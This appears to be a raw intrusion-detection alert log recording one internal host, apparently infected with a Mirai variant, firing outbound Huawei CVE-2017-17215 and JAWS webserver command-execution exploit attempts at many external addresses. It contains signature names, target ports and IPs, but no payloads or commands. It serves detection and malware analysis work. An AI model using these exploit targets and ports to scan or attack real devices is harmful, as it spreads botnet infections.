2024-12-03T22:12:19.393246+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52960	156.35.200.12	37215	TCP
2024-12-03T22:12:19.393307+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38024	19.208.57.186	80	TCP
2024-12-03T22:12:19.393307+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38024	19.208.57.186	80	TCP
2024-12-03T22:12:19.393464+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54408	203.50.8.113	80	TCP
2024-12-03T22:12:19.393464+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54408	203.50.8.113	80	TCP
2024-12-03T22:12:19.415456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35158	41.21.21.53	37215	TCP
2024-12-03T22:12:19.425264+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50182	73.150.237.197	80	TCP
2024-12-03T22:12:19.425264+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50182	73.150.237.197	80	TCP
2024-12-03T22:12:19.440286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38046	213.89.187.153	80	TCP
2024-12-03T22:12:19.440286+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38046	213.89.187.153	80	TCP
2024-12-03T22:12:19.440549+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45788	23.105.251.53	80	TCP
2024-12-03T22:12:19.440549+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45788	23.105.251.53	80	TCP
2024-12-03T22:12:19.440623+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53908	162.156.93.202	80	TCP
2024-12-03T22:12:19.440623+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53908	162.156.93.202	80	TCP
2024-12-03T22:12:19.440851+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48346	2.51.143.104	80	TCP
2024-12-03T22:12:19.440851+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48346	2.51.143.104	80	TCP
2024-12-03T22:12:19.462009+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58578	82.133.175.110	80	TCP
2024-12-03T22:12:19.462009+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58578	82.133.175.110	80	TCP
2024-12-03T22:12:19.462121+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58930	152.138.96.232	80	TCP
2024-12-03T22:12:19.462121+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58930	152.138.96.232	80	TCP
2024-12-03T22:12:19.462256+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54798	68.59.246.174	80	TCP
2024-12-03T22:12:19.462256+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54798	68.59.246.174	80	TCP
2024-12-03T22:12:19.462317+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48536	74.215.79.226	80	TCP
2024-12-03T22:12:19.462317+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48536	74.215.79.226	80	TCP
2024-12-03T22:12:19.509034+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60318	37.222.45.109	80	TCP
2024-12-03T22:12:19.509034+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60318	37.222.45.109	80	TCP
2024-12-03T22:12:19.549622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50306	219.159.123.120	80	TCP
2024-12-03T22:12:19.549622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38084	38.252.33.188	80	TCP
2024-12-03T22:12:19.549622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50306	219.159.123.120	80	TCP
2024-12-03T22:12:19.549622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38084	38.252.33.188	80	TCP
2024-12-03T22:12:19.549653+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39144	130.164.233.87	80	TCP
2024-12-03T22:12:19.549653+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39144	130.164.233.87	80	TCP
2024-12-03T22:12:19.549842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46412	59.225.143.231	80	TCP
2024-12-03T22:12:19.549842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46412	59.225.143.231	80	TCP
2024-12-03T22:12:19.946961+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37412	34.131.129.136	80	TCP
2024-12-03T22:12:19.946961+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37412	34.131.129.136	80	TCP
2024-12-03T22:12:19.977879+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41622	67.52.176.63	80	TCP
2024-12-03T22:12:19.977879+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41622	67.52.176.63	80	TCP
2024-12-03T22:12:20.003088+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59166	112.129.158.137	80	TCP
2024-12-03T22:12:20.003088+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59166	112.129.158.137	80	TCP
2024-12-03T22:12:20.009705+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52374	129.144.14.38	80	TCP
2024-12-03T22:12:20.009705+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52374	129.144.14.38	80	TCP
2024-12-03T22:12:20.018603+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59420	119.57.157.97	80	TCP
2024-12-03T22:12:20.018603+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59420	119.57.157.97	80	TCP
2024-12-03T22:12:20.018609+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59310	79.212.17.233	80	TCP
2024-12-03T22:12:20.018609+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59310	79.212.17.233	80	TCP
2024-12-03T22:12:20.018765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57840	44.117.142.118	80	TCP
2024-12-03T22:12:20.018765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57840	44.117.142.118	80	TCP
2024-12-03T22:12:20.018860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50408	190.100.222.121	80	TCP
2024-12-03T22:12:20.018860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50408	190.100.222.121	80	TCP
2024-12-03T22:12:20.019268+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55756	184.67.228.6	80	TCP
2024-12-03T22:12:20.019268+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55756	184.67.228.6	80	TCP
2024-12-03T22:12:20.049508+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56192	49.106.166.45	80	TCP
2024-12-03T22:12:20.049508+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56192	49.106.166.45	80	TCP
2024-12-03T22:12:20.049578+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41556	138.126.42.137	80	TCP
2024-12-03T22:12:20.049578+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41556	138.126.42.137	80	TCP
2024-12-03T22:12:20.415251+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57802	197.132.221.211	37215	TCP
2024-12-03T22:12:20.415257+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57418	197.112.138.120	37215	TCP
2024-12-03T22:12:20.431207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39958	156.134.199.251	37215	TCP
2024-12-03T22:12:20.440188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56208	41.85.149.60	37215	TCP
2024-12-03T22:12:20.471257+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40566	197.152.165.235	37215	TCP
2024-12-03T22:12:20.471332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40304	156.204.91.108	37215	TCP
2024-12-03T22:12:20.509205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46394	81.44.34.58	80	TCP
2024-12-03T22:12:20.509205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46394	81.44.34.58	80	TCP
2024-12-03T22:12:20.556124+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35338	195.80.150.63	80	TCP
2024-12-03T22:12:20.556124+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35338	195.80.150.63	80	TCP
2024-12-03T22:12:20.556129+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45428	69.143.108.131	80	TCP
2024-12-03T22:12:20.556129+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45428	69.143.108.131	80	TCP
2024-12-03T22:12:20.556138+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40208	144.83.48.213	80	TCP
2024-12-03T22:12:20.556138+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40208	144.83.48.213	80	TCP
2024-12-03T22:12:20.564955+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44476	38.73.224.202	80	TCP
2024-12-03T22:12:20.564955+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44476	38.73.224.202	80	TCP
2024-12-03T22:12:20.565150+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59744	113.236.127.158	80	TCP
2024-12-03T22:12:20.565150+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59744	113.236.127.158	80	TCP
2024-12-03T22:12:21.681023+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52368	156.35.65.239	37215	TCP
2024-12-03T22:12:21.681025+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51002	41.200.79.73	37215	TCP
2024-12-03T22:12:21.696531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47218	197.112.15.238	37215	TCP
2024-12-03T22:12:21.712371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60198	41.93.128.148	37215	TCP
2024-12-03T22:12:21.721441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48246	197.114.51.228	37215	TCP
2024-12-03T22:12:21.721667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60416	156.70.183.9	37215	TCP
2024-12-03T22:12:21.722058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37070	197.87.38.216	37215	TCP
2024-12-03T22:12:21.727880+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45494	41.26.53.97	37215	TCP
2024-12-03T22:12:21.743182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39678	197.196.5.90	37215	TCP
2024-12-03T22:12:21.743552+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41104	197.13.187.4	37215	TCP
2024-12-03T22:12:21.743576+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48416	156.91.125.167	37215	TCP
2024-12-03T22:12:21.768199+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49908	197.243.213.241	37215	TCP
2024-12-03T22:12:21.768385+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37592	197.137.106.64	37215	TCP
2024-12-03T22:12:21.768467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45752	156.138.105.36	37215	TCP
2024-12-03T22:12:21.799530+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45268	180.110.72.45	80	TCP
2024-12-03T22:12:21.799530+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45268	180.110.72.45	80	TCP
2024-12-03T22:12:21.831014+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36432	47.97.122.41	80	TCP
2024-12-03T22:12:21.831014+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36432	47.97.122.41	80	TCP
2024-12-03T22:12:22.003109+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38908	156.75.45.93	37215	TCP
2024-12-03T22:12:22.003176+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52298	197.119.131.91	37215	TCP
2024-12-03T22:12:22.456231+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43986	213.232.208.1	80	TCP
2024-12-03T22:12:22.456231+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43986	213.232.208.1	80	TCP
2024-12-03T22:12:22.565465+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43972	219.115.15.124	80	TCP
2024-12-03T22:12:22.565465+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43972	219.115.15.124	80	TCP
2024-12-03T22:12:22.596448+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42378	47.79.176.86	80	TCP
2024-12-03T22:12:22.596448+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42378	47.79.176.86	80	TCP
2024-12-03T22:12:22.596483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41794	197.160.209.63	37215	TCP
2024-12-03T22:12:22.627604+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33122	156.81.66.114	37215	TCP
2024-12-03T22:12:22.627920+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41944	197.253.86.118	37215	TCP
2024-12-03T22:12:22.696482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58286	41.98.14.4	37215	TCP
2024-12-03T22:12:22.696512+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37714	41.171.61.174	37215	TCP
2024-12-03T22:12:22.696796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47238	41.73.237.243	37215	TCP
2024-12-03T22:12:22.696806+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53456	197.251.176.4	37215	TCP
2024-12-03T22:12:22.711995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47984	41.27.42.104	37215	TCP
2024-12-03T22:12:22.712121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59050	41.159.97.69	37215	TCP
2024-12-03T22:12:22.712270+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50744	156.165.2.188	37215	TCP
2024-12-03T22:12:22.712539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44480	41.232.183.136	37215	TCP
2024-12-03T22:12:22.712546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36308	41.246.188.2	37215	TCP
2024-12-03T22:12:22.712851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34904	156.15.113.215	37215	TCP
2024-12-03T22:12:22.712851+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59252	41.112.141.94	37215	TCP
2024-12-03T22:12:22.721408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59450	197.141.143.19	37215	TCP
2024-12-03T22:12:22.727812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41742	41.40.238.7	37215	TCP
2024-12-03T22:12:22.737294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60816	197.193.35.236	37215	TCP
2024-12-03T22:12:22.743184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35462	41.78.33.200	37215	TCP
2024-12-03T22:12:22.752810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37922	197.175.14.168	37215	TCP
2024-12-03T22:12:22.752970+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36010	197.151.70.169	37215	TCP
2024-12-03T22:12:22.759066+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59624	197.75.53.216	37215	TCP
2024-12-03T22:12:22.768334+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60604	156.223.212.153	37215	TCP
2024-12-03T22:12:22.768581+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41646	156.208.170.89	37215	TCP
2024-12-03T22:12:22.768712+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33548	197.176.175.1	37215	TCP
2024-12-03T22:12:22.769024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45794	41.9.189.105	37215	TCP
2024-12-03T22:12:22.792967+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47182	156.169.150.199	37215	TCP
2024-12-03T22:12:22.799408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47842	197.75.120.154	37215	TCP
2024-12-03T22:12:22.799542+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48414	156.226.227.248	37215	TCP
2024-12-03T22:12:22.881044+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39766	199.208.16.68	80	TCP
2024-12-03T22:12:22.881044+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39766	199.208.16.68	80	TCP
2024-12-03T22:12:22.956968+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59870	41.64.93.32	37215	TCP
2024-12-03T22:12:23.010893+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40522	156.30.160.79	37215	TCP
2024-12-03T22:12:23.587263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51930	197.53.215.44	37215	TCP
2024-12-03T22:12:23.643469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60048	197.182.187.123	37215	TCP
2024-12-03T22:12:23.993407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59402	197.41.217.48	37215	TCP
2024-12-03T22:12:24.002762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49574	41.70.10.205	37215	TCP
2024-12-03T22:12:24.009211+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35592	156.33.67.57	37215	TCP
2024-12-03T22:12:24.009404+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32940	41.30.9.127	37215	TCP
2024-12-03T22:12:24.009540+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33736	41.156.249.18	37215	TCP
2024-12-03T22:12:24.009763+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53724	197.140.91.250	37215	TCP
2024-12-03T22:12:24.018599+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42634	41.202.255.73	37215	TCP
2024-12-03T22:12:24.025076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54970	197.155.51.252	37215	TCP
2024-12-03T22:12:24.034803+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60888	41.149.10.39	37215	TCP
2024-12-03T22:12:24.040996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44868	197.42.94.255	37215	TCP
2024-12-03T22:12:24.049972+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60060	41.7.154.165	37215	TCP
2024-12-03T22:12:24.050282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57802	41.165.170.139	37215	TCP
2024-12-03T22:12:24.050797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58962	41.50.4.233	37215	TCP
2024-12-03T22:12:24.051560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48210	41.45.132.190	37215	TCP
2024-12-03T22:12:24.065419+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52356	156.110.88.234	37215	TCP
2024-12-03T22:12:24.793742+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38662	50.236.194.249	80	TCP
2024-12-03T22:12:24.793742+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38662	50.236.194.249	80	TCP
2024-12-03T22:12:24.793936+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43060	73.116.216.42	80	TCP
2024-12-03T22:12:24.793936+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43060	73.116.216.42	80	TCP
2024-12-03T22:12:24.793952+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49204	161.208.1.194	80	TCP
2024-12-03T22:12:24.793952+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49204	161.208.1.194	80	TCP
2024-12-03T22:12:24.799755+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34598	196.153.62.42	80	TCP
2024-12-03T22:12:24.799755+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34598	196.153.62.42	80	TCP
2024-12-03T22:12:24.806025+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44236	175.117.153.180	80	TCP
2024-12-03T22:12:24.806025+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44236	175.117.153.180	80	TCP
2024-12-03T22:12:24.806092+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44770	46.227.95.216	80	TCP
2024-12-03T22:12:24.806092+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44770	46.227.95.216	80	TCP
2024-12-03T22:12:24.815242+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34794	194.138.11.125	80	TCP
2024-12-03T22:12:24.815242+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34794	194.138.11.125	80	TCP
2024-12-03T22:12:24.815384+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53684	213.7.253.228	80	TCP
2024-12-03T22:12:24.815384+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53684	213.7.253.228	80	TCP
2024-12-03T22:12:24.815411+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59336	42.9.103.155	80	TCP
2024-12-03T22:12:24.815411+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59336	42.9.103.155	80	TCP
2024-12-03T22:12:24.837270+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37588	115.204.35.202	80	TCP
2024-12-03T22:12:24.837270+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37588	115.204.35.202	80	TCP
2024-12-03T22:12:24.846491+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42882	40.146.90.172	80	TCP
2024-12-03T22:12:24.846491+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42882	40.146.90.172	80	TCP
2024-12-03T22:12:24.893948+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53756	150.71.223.131	80	TCP
2024-12-03T22:12:24.893948+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53756	150.71.223.131	80	TCP
2024-12-03T22:12:25.009076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49006	156.219.94.7	37215	TCP
2024-12-03T22:12:25.009363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50274	156.42.142.18	37215	TCP
2024-12-03T22:12:25.034257+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47668	197.67.7.41	37215	TCP
2024-12-03T22:12:25.051849+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53566	156.26.102.2	37215	TCP
2024-12-03T22:12:25.052314+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50060	197.55.62.139	37215	TCP
